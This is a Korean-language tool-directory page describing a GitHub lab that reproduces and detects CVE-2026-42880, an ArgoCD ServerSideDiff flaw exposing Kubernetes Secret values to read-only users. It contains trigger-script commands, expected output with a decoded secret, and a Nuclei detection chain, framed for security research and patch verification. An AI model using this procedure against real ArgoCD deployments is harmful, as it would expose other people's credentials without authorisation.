Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC_CVE-2026-42880 — # CVE-2026-42880 재현 도구 CVE-2026-42880을 재현합니다. 이는 ServerSideDiff를 통해 Kubernetes Secrets를 노출시키는 치명적인 ArgoCD 취약점입니다. 보안 테스트를 위한 자동화된 랩 설정, 트리거 스크립트, Nuclei 탐지 템플릿이 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/haerin-l/poc_cve-2026-42880
Vulnerability AnalysisExploitationPenetration TestingCloud SecurityMisconfigurationLearning & EducationLabs & Practice
GitHubhaerin-l/poc_cve-2026-42880

POC_CVE-2026-42880

# CVE-2026-42880 재현 도구 CVE-2026-42880을 재현합니다. 이는 ServerSideDiff를 통해 Kubernetes Secrets를 노출시키는 치명적인 ArgoCD 취약점입니다. 보안 테스트를 위한 자동화된 랩 설정, 트리거 스크립트, Nuclei 탐지 템플릿이 포함되어 있습니다.

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42880 — ArgoCD ServerSideDiff를 통한 Secret 노출

Argo CD에서 ServerSideDiff gRPC 핸들러가 읽기 전용 사용자에게 Kubernetes Secret 데이터를 노출하는 치명적인 취약점인 CVE-2026-42880을 재현하고 탐지하기 위한 실습 환경입니다.


취약점 개요

필드세부 정보
CVE IDCVE-2026-42880
GHSAGHSA-3v3m-wc6v-x4x3
CVSS9.6 (치명적) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
영향받는 버전ArgoCD 3.2.0–3.2.10, 3.3.0–3.3.8
패치된 버전3.2.11, 3.3.9+
CWECWE-200, CWE-212

근본 원인

ArgoCD의 gRPC 핸들러에 있는 serverSideDiff()는 Kubernetes SSA dry-run을 호출하고 hideSecretData()를 호출하지 않은 채 predictedLive를 반환하므로, 응답에 base64로 인코딩된 Secret 값이 노출됩니다.

root@kitploit:~
Vulnerable path (v3.2.0):
argocd app diff --server-side-diff
  → gRPC ServerSideDiff handler
    → Kubernetes SSA dry-run (merges ALL field managers)
      ← predictedLive returned (includes external-controller's data)
        ❌ hideSecretData() NOT called → real Secret values exposed

Patched path (v3.2.11):
  ...same SSA dry-run...
    ✅ HideSecretData() called → values replaced with ++++

공격 전제 조건

세 가지 조건이 모두 동시에 충족되어야 합니다:

#조건세부 정보
1취약한 ArgoCD 버전3.2.0–3.2.10 또는 3.3.0–3.3.8
2애플리케이션 어노테이션argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
3Secret 데이터의 외부 필드 매니저Secret data 필드가 ArgoCD 외부 매니저(예: External Secrets Operator, Helm, kubectl)에 의해 소유됨

role:readonly 권한만 필요하며, 쓰기 권한은 필요하지 않습니다.


실습 환경 구성

root@kitploit:~
Host Machine
├── localhost:30080 ──→ Kind Cluster: cve-vuln   (ArgoCD v3.2.0  ⚠ VULNERABLE)
│                         └── ns: production
│                              ├── Secret: db-credentials
│                              │    metadata → argocd-controller (synced from Git)
│                              │    data.*  → external-controller ⚠ (injected separately)
│                              └── Secret: api-credentials (same setup)
│
├── localhost:30081 ──→ Kind Cluster: cve-patched (ArgoCD v3.2.11 ✓ PATCHED)
│                         └── (identical config — only ArgoCD version differs)
│
└── localhost:3010  ──→ Docker Container: cve-lab-gitea
                          └── repo: gitadmin/manifests.git
                               └── secret.yaml (no data field — CVE prerequisite)

필드 매니저 분리가 중요한 이유

root@kitploit:~
db-credentials Secret (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│  metadata.*  → argocd-controller   (ArgoCD syncs from Git)   │
│  data.*      → external-controller (injected by setup script)│
└──────────────────────────────────────────────────────────────┘

SSA dry-run: Kubernetes merges both managers' fields into predictedLive
  → ArgoCD does NOT own data → data is not masked by ArgoCD
  → v3.2.0 returns predictedLive without hideSecretData() → EXPOSED

사전 요구 사항

도구설치
kindbrew install kind
kubectlbrew install kubectl
Docker Desktopdocker.com
argocd CLIbrew install argocd
nucleibrew install nuclei
curl, jq, gitmacOS에 기본 포함 또는 brew install jq

리소스 요구 사항: 여유 RAM 8GB+, 여유 디스크 15GB+, 포트 30080 / 30081 / 3010 사용 가능.


실행 방법

1단계 — 취약 환경 설정 (ArgoCD v3.2.0)

root@kitploit:~
bash scripts/01-setup-vuln.sh
# or: make setup-vuln

약 10분 정도 걸립니다. 완료되면:

root@kitploit:~
══════════════════════════════════════════════════════
 Vulnerable ArgoCD lab ready!
══════════════════════════════════════════════════════
 ArgoCD UI   : http://localhost:30080
 Admin pass  : <auto-generated>
 Viewer pass : viewerpass123
 Token file  : .vuln-viewer-token
══════════════════════════════════════════════════════

2단계 — 비교용 패치 환경 설정 (선택 사항)

root@kitploit:~
bash scripts/02-setup-patched.sh
# or: make setup-patched

3단계 — CVE 트리거

root@kitploit:~
bash scripts/03-trigger-cve.sh
# or: make trigger

예상 출력 — 취약 버전 (v3.2.0):

root@kitploit:~
===== /Secret production/db-credentials ======
<   db_password: ++++++++                          ← masked live state
---
>   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=  ← EXPOSED predictedLive!

[EXPOSED] decoded: Sup3rS3cr3tDB!Pass#2026
⚠  RESULT: SECRET DATA EXPOSED — VULNERABLE

예상 출력 — 패치 버전 (v3.2.11):

root@kitploit:~
>   db_password: ++++++++   ← masked
✓  RESULT: no unmasked data in predictedLive — PATCHED

4단계 — Nuclei 탐지

root@kitploit:~
# Vulnerable cluster → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30080 \
  -var username=viewer \
  -var password=viewerpass123

# Patched cluster → should produce no findings
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30081 \
  -var username=viewer \
  -var password=viewerpass123

5단계 — 환경 정리

root@kitploit:~
bash scripts/99-teardown.sh
# or: make teardown

디렉터리 구조

root@kitploit:~
argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md              # Lab setup guide + troubleshooting (English)
├── VULNERABILITY_ANALYSIS.md       # Code-level vulnerability analysis (English)
├── Nuclei_Template_Report.md       # Nuclei template design and test results (English)
├── Makefile
│
├── REPORT/                         # Korean reports
│   ├── LAB_REPORT_KR.md
│   ├── Nuclei_Template_Report_KR.md
│   └── Vulnerability_Analysis_KR.md
│
├── kind/
│   ├── cluster-vuln.yaml           # Kind cluster: cve-vuln    (port 30080)
│   └── cluster-patched.yaml        # Kind cluster: cve-patched (port 30081)
│
├── git-manifests/
│   └── secret.yaml                 # Secret without data field (CVE prerequisite)
│
├── manifests/
│   ├── application.yaml            # ArgoCD Application with vulnerable annotation
│   ├── argocd-cm-patch.yaml        # ConfigMap: TLS off, viewer account, ServerSideDiff
│   ├── argocd-rbac-patch.yaml      # RBAC: viewer → role:readonly
│   ├── argocd-nodeport.yaml        # NodePort 30080 (vuln cluster)
│   └── argocd-nodeport-patched.yaml# NodePort 30081 (patched cluster)
│
├── nuclei/
│   └── CVE-2026-42880.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup-vuln.sh            # Full automated setup: vulnerable env
    ├── 02-setup-patched.sh         # Full automated setup: patched env
    ├── 03-trigger-cve.sh           # Trigger CVE + compare both clusters
    └── 99-teardown.sh              # Remove all lab resources

Nuclei 템플릿 탐지 로직

이 템플릿은 실제 Secret 추출을 트리거하지 않고 CVE 전제 조건을 모두 검증하기 위해 4단계 HTTP 체인을 사용합니다:

root@kitploit:~
Step 1  GET /api/version
        → extract argocd_version (no auth required)

Step 2  POST /api/v1/session
        → authenticate as viewer (role:readonly), extract token

Step 3  GET /api/v1/applications
        → find app with ServerSideDiff=true,IncludeMutationWebhook=true

Step 4  GET /api/v1/applications/{app}/managed-resources
        → verify: version in range + Secret present + f:data owned by external manager
        → FINDING reported only if all 5 matchers pass (AND condition)

참고 자료

  • NVD — CVE-2026-42880
  • GHSA-3v3m-wc6v-x4x3
  • 패치 PR #27598
  • ArgoCD Server-Side Diff 문서
  • Kubernetes Server-Side Apply

경고: 이 실습 환경의 모든 자격 증명은 보안 연구 목적의 가짜 테스트 데이터입니다. 프로덕션 환경에서 절대 사용하지 마십시오.

도구 다운로드